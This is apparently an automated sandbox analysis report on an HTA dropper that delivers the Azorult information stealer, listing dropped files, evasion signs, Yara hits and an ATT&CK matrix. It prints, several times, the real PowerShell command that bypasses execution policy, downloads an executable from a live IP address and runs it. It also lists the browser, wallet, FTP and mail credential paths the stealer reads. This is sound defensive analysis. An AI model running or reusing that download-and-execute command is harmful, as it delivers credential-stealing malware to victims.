Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7548	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000003.00000002.2871590162.0000015B78E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@y%~[
Source: svchost.exe, 00000003.00000002.2872528236.0000015B7E254000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000724000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000725000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000001.00000002.1678357828.0000000006DA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}[
Source: powershell.exe, 00000001.00000002.1674279795.0000000000866000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000001.00000002.1678357828.0000000006DA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\5f

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\mshta.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe "C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe"			Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -command invoke-webrequest -uri http://217.160.121.141:8030/5643254657/order-63729r.exe -outfile c:\users\user\appdata\local\temp\order160311_reference.exe;start-process c:\users\user\appdata\local\temp\order160311_reference.exe
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -command invoke-webrequest -uri http://217.160.121.141:8030/5643254657/order-63729r.exe -outfile c:\users\user\appdata\local\temp\order160311_reference.exe;start-process c:\users\user\appdata\local\temp\order160311_reference.exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 00000004.00000003.1781232905.00000000020AC000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1781211546.000000000395C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1780381822.00000000020BC000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order160311_Reference.exe PID: 7684, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, type: DROPPED

Yara detected Azorult Info Stealer

Source: Yara match	File source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order160311_Reference.exe PID: 7684, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.adobe.dunamis\electrum.datu
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bC:\Users\user\AppData\Roaming\Electrum\wallets\\ectrum.dattrum.dattants\Web DataWeb Dataies\\ies\\
Source: Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "%APPDATA%\Exodus\ete-
Source: Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: \Jaxx\Local Storage\
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.000000000076B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bC:\Users\user\AppData\Roaming\Ethereum\keystore\ts\\atap\
Source: Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \EthereumatA
Source: powershell.exe, 00000001.00000002.1679551286.00000000071E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match	File source: 00000004.00000003.1781199402.00000000041E4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order160311_Reference.exe PID: 7684, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	2 OS Credential Dumping	11 Security Software Discovery	Remote Services	11 Email Collection	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	2 Credentials in Registry	1 Process Discovery	Remote Desktop Protocol	4 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	1 Credentials In Files	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	34 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Order160311_Reference.hta	16%	ReversingLabs	Script-BAT.Trojan.Heuristic
Order160311_Reference.hta	28%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-console-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-datetime-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-debug-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-errorhandling-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-2-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l2-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-handle-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-heap-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-interlocked-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-libraryloader-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-localization-l1-2-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-memory-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
